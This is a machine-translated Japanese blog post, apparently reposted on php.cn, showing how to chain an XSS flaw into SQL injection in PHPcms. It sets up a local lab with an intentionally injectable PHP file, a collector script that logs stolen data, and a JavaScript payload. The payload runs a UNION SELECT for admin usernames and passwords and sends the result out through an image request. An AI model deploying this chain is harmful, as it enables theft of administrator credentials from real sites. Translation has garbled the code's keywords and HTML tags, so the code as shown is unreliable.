ホームページ  >  記事  >  php教程  >  PHPcms は xss を使用して SQL インジェクションを実行します

PHPcms は xss を使用して SQL インジェクションを実行します

WBOY
WBOYオリジナル
2016-06-21 08:51:16831ブラウズ

昨日、phpcms v9.1.15 が xss と不正な SQL インジェクションを悪用していることを確認したので、xss を使用して SQL インジェクションを実行することをテストしたいと思いました。ただし、悪用された phpcms の脆弱性には他にも多くの用途があります。ただし、このインジェクションをテストするための phpcms v9.1.15 は見つかりませんでした。また、他のバージョンは正常にテストされませんでした。

したがって、私は次の極限環境を想像することしかできません:
1. フロントデスクに xss 脆弱性が 1 つだけあります (管理者 Cookie が取得できない)
2. バックグラウンドでの SQL インジェクション脆弱性は 1 つだけです (インジェクション脆弱性ファイルには管理者のみがアクセスできます)
3. 管理者パスワードを入力して復号化します
4. 上記以外に、他の脆弱性はありません (バックグラウンドの getwebshel​​l を含む)

実際、私が言いたいのは、この xss はインジェクションを実行するためにのみ使用できるということです。


脆弱なコードの挿入をシミュレートします

  1. sqli.php
    01 02 @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING) // エラーは無視されました
    03 $con = mysql_connect("localhost","root","");
    04 if(!$con) {die('接続できませんでした: ' .mysql_error());}
    05 mysql_select_db("テスト",$con);
    06 $id = $_GET['xss'];
    07 $sql = "select id,realname from test where id="."$id";
    08 $view = mysql_query($sql);
    09 $row = mysql_fetch_array($view);
    10 echo $row[id]."
    ";
    11 echo $row[実名]."
    ";
    12 ?>

  1. mysql データベース:
    1 データベース:テスト
    2 テーブル: テスト、管理者
    3 列: test.id、test.realname
    4 admin.id、admin.username、admin.password

  1. get.php (取得されたインジェクション後のデータインターセプト)
    1 2 $file = fopen("data.txt","a");
    3 fwrite($file,$_GET['get']);
    4 fclose($file);
    5 ?>

  1. xsssqli.js(ペイロード)
    01 Function addLoadEvent(func)//複数の関数をロードするためのウィンドウが開きます
    02 {
    03 var oldfunc=window.onload; //ページはロードメソッドを使用して開かれます
    04 if(typeof(window.onload)!="関数")
    05 {
    06 window.onload=func;
    07 }
    08 その他
    09 {
    10 window.onload=function()
    11 {
    12 oldfunc();
    13 関数();
    14 }
    15 }
    16 }
    17 関数 get_xsssqli()
    18 {
    19 var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
    20 var ajax = null;
    21 if(window.XMLHttpRequest)
    22 {
    23 ajax = 新しい XMLHttpRequest();
    24 }
    25 else if(window.ActiveXObject)
    26 {
    27 ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6 およびそれ以前のバージョン
    28 }
    29 他
    30 {
    31 戻ります;
    32 }
    33 ajax.open("GET", url, true);
    34 ajax.send(null);
    35 ajax.onreadystatechange = function()
    36 {
    37 if(ajax.readyState == 4 && ajax.status == 200)
    38 {
    39 var img = document.createElement("img");
    40 img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
    41 document.body.appendChild(img);
    42 }
    43 }
    44 }
    45 addLoadEvent(get_xsssqli);

  1. xss 脆弱性をシミュレートします
    1
    2 <頭>
    3 SQL に xss を使用
    4
    5
    6 <スクリプト src=http://127.0.0.1/xss/get.js >
    7
    8

ついにデータの取得に成功しました:



もちろん、正規表現を記述して、指定されたデータをインターセプトすることもできます。

出典: http://superman.php100.com/



声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。